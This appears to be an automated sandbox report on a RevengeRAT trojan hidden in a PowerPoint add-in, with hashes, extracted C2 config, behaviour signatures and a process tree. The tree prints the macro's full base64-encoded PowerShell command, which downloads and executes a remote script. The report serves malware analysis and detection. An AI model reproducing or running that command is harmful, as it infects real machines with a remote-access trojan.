revengerat | 2f29c288b1c65341f982d8984a0650ad66765a3bc221bedcebbd2bc784a9da21

General

Target

nvoucher_das_reservas.ppam
Size

44KB
MD5

906084f891c354df688b9b1012673cb0
SHA1

df3ac01679d444b6ae6cc81bf0f380cce79bd987
SHA256

2f29c288b1c65341f982d8984a0650ad66765a3bc221bedcebbd2bc784a9da21
SHA512

c8ab289935931708371d6ed05e95e26981ae338bafeadea4a272541575ace9216dbf569410e535c023727c0c92346b1ecc5d8c35c0a200462967641a8feb1701
SSDEEP

768:VPYRy7GviozfDTAR/rRSROn3sYOWTS2+1jqBoVEmErcSeykOgUGM5d/ym4csz:VgRyCR7T2/FMOncYOWXvBoV3EgS8jUGN

Score

10^/10

revengerat nyancatrevenge trojan

Malware Config

Extracted

Family

revengerat

Botnet

NyanCatRevenge

C2

m7.ddns.com.br:5222

Mutex

30c2ac3031a0

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powershell.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE is not expected to spawn this process	3376	4232	powershell.exe	POWERPNT.EXE

RevengeRAT
Remote-access trojan with a wide range of capabilities.
trojan revengerat
Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

26 3376 powershell.exe
Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 3376 set thread context of 2228 3376 powershell.exe RegSvcs.exe

flow	pid	process
26	3376	powershell.exe

description	pid	process	target process
PID 3376 set thread context of 2228	3376	powershell.exe	RegSvcs.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

POWERPNT.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	POWERPNT.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	POWERPNT.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	POWERPNT.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

POWERPNT.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	POWERPNT.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	POWERPNT.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	POWERPNT.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

POWERPNT.EXE

pid process

4232 POWERPNT.EXE
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

3376 powershell.exe
3376 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 3376 powershell.exe
Suspicious use of SetWindowsHookEx 3 IoCs

Processes:

POWERPNT.EXE

pid process

4232 POWERPNT.EXE
4232 POWERPNT.EXE
4232 POWERPNT.EXE

pid	process
4232	POWERPNT.EXE

pid	process
3376	powershell.exe
3376	powershell.exe

description	pid	process
Token: SeDebugPrivilege	3376	powershell.exe

pid	process
4232	POWERPNT.EXE
4232	POWERPNT.EXE
4232	POWERPNT.EXE

Suspicious use of WriteProcessMemory 10 IoCs

Processes:

POWERPNT.EXEpowershell.exe

description	pid	process	target process
PID 4232 wrote to memory of 3376	4232	POWERPNT.EXE	powershell.exe
PID 4232 wrote to memory of 3376	4232	POWERPNT.EXE	powershell.exe
PID 3376 wrote to memory of 2228	3376	powershell.exe	RegSvcs.exe
PID 3376 wrote to memory of 2228	3376	powershell.exe	RegSvcs.exe
PID 3376 wrote to memory of 2228	3376	powershell.exe	RegSvcs.exe
PID 3376 wrote to memory of 2228	3376	powershell.exe	RegSvcs.exe
PID 3376 wrote to memory of 2228	3376	powershell.exe	RegSvcs.exe
PID 3376 wrote to memory of 2228	3376	powershell.exe	RegSvcs.exe
PID 3376 wrote to memory of 2228	3376	powershell.exe	RegSvcs.exe
PID 3376 wrote to memory of 2228	3376	powershell.exe	RegSvcs.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy WMI provider
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE
"C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE" "C:\Users\Admin\AppData\Local\Temp\nvoucher_das_reservas.ppam" /ou ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4232
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -e SQBFAFgAIAAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAuAEkAbgB2AG8AawBlACgAJwANAAoAaAB0AHQAcABzADoALwAvAGQAYwA0ADQANAAuADQAcwB5AG4AYwAuAGMAbwBtAC8AZABvAHcAbgBsAG8AYQBkAC8AWQBlAEEASwBaAFAARABGAC8AUgBFAFYARQBOAEcARQBSAC4AagBwAGcAPwBkAHMAaQBkAD0AdgBkAGcASQBTAHYAbAB3AC4ANgAyADkAYwBiAGQAZgA3ADUAOQAxAGYAOAA5ADIANwAyADMAYQA4AGUANgA0ADAANABlADcANAA3ADgAOQA0ACYAcwBiAHMAcgA9AGIAYgA5ADMAZgA0AGEANgA3AGIANQBlAGQAZAA3AGEANgAwADcANgBiAGQAYgBkADIAZgA1ADAAOABmAGIANABhAGQAZgAmAGIAaQBwAD0ATQBUAGcAMQBMAGoARQAxAE0AeQA0AHgATgB6AFkAdQBNAGoASQAmAGwAZwBmAHAAPQA0ADAADQAKACcAKQA7ACAADQAKAEkAdwBTAFcAWABwAHYAegB0AG4ARABYAHUARgBTAEYARQBlAE8AYQBSAFUATAB2AGQASQBlAFAARwB5AGkASQBiAGgAYQBYAHMATwBTAGsAYgBXAGIAeQBTAEUAYgB3AGMAWgBGAFkADQAKAA==""
  2⤵
  - Process spawned unexpected child process
  - Blocklisted process makes network request
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3376
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
    3⤵
    PID:2228

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

3

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3ixb1cyn.hwl.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2228-196-0x0000000000400000-0x000000000040A000-memory.dmp

Filesize
40KB

Download
memory/2228-202-0x0000000005130000-0x0000000005140000-memory.dmp

Filesize
64KB

Download
memory/2228-201-0x0000000005130000-0x0000000005140000-memory.dmp

Filesize
64KB

Download
memory/2228-200-0x0000000005660000-0x0000000005C04000-memory.dmp

Filesize
5.6MB

Download
memory/3376-154-0x0000023D08510000-0x0000023D08532000-memory.dmp

Filesize
136KB

Download
memory/3376-191-0x0000023D209E0000-0x0000023D209F8000-memory.dmp

Filesize
96KB

Download
memory/3376-193-0x0000023D209E0000-0x0000023D209F8000-memory.dmp

Filesize
96KB

Download
memory/3376-184-0x0000023D209E0000-0x0000023D209F8000-memory.dmp

Filesize
96KB

Download
memory/3376-197-0x0000023D20A00000-0x0000023D20A01000-memory.dmp

Filesize
4KB

Download
memory/3376-171-0x0000023D207D0000-0x0000023D207E0000-memory.dmp

Filesize
64KB

Download
memory/3376-172-0x0000023D207D0000-0x0000023D207E0000-memory.dmp

Filesize
64KB

Download
memory/3376-173-0x0000023D207D0000-0x0000023D207E0000-memory.dmp

Filesize
64KB

Download
memory/3376-195-0x0000023D209E0000-0x0000023D209F8000-memory.dmp

Filesize
96KB

Download
memory/3376-189-0x0000023D209E0000-0x0000023D209F8000-memory.dmp

Filesize
96KB

Download
memory/3376-187-0x0000023D209E0000-0x0000023D209F8000-memory.dmp

Filesize
96KB

Download
memory/3376-185-0x0000023D209E0000-0x0000023D209F8000-memory.dmp

Filesize
96KB

Download
memory/4232-151-0x000002288D150000-0x000002288D350000-memory.dmp

Filesize
2.0MB

Download
memory/4232-183-0x00007FFD8CBB0000-0x00007FFD8CBC0000-memory.dmp

Filesize
64KB

Download
memory/4232-182-0x00007FFD8CBB0000-0x00007FFD8CBC0000-memory.dmp

Filesize
64KB

Download
memory/4232-181-0x00007FFD8CBB0000-0x00007FFD8CBC0000-memory.dmp

Filesize
64KB

Download
memory/4232-180-0x00007FFD8CBB0000-0x00007FFD8CBC0000-memory.dmp

Filesize
64KB

Download
memory/4232-133-0x00007FFD8CBB0000-0x00007FFD8CBC0000-memory.dmp

Filesize
64KB

Download
memory/4232-139-0x00007FFD8A4F0000-0x00007FFD8A500000-memory.dmp

Filesize
64KB

Download
memory/4232-138-0x00007FFD8A4F0000-0x00007FFD8A500000-memory.dmp

Filesize
64KB

Download
memory/4232-136-0x00007FFD8CBB0000-0x00007FFD8CBC0000-memory.dmp

Filesize
64KB

Download
memory/4232-137-0x00007FFD8CBB0000-0x00007FFD8CBC0000-memory.dmp

Filesize
64KB

Download
memory/4232-135-0x00007FFD8CBB0000-0x00007FFD8CBC0000-memory.dmp

Filesize
64KB

Download
memory/4232-134-0x00007FFD8CBB0000-0x00007FFD8CBC0000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads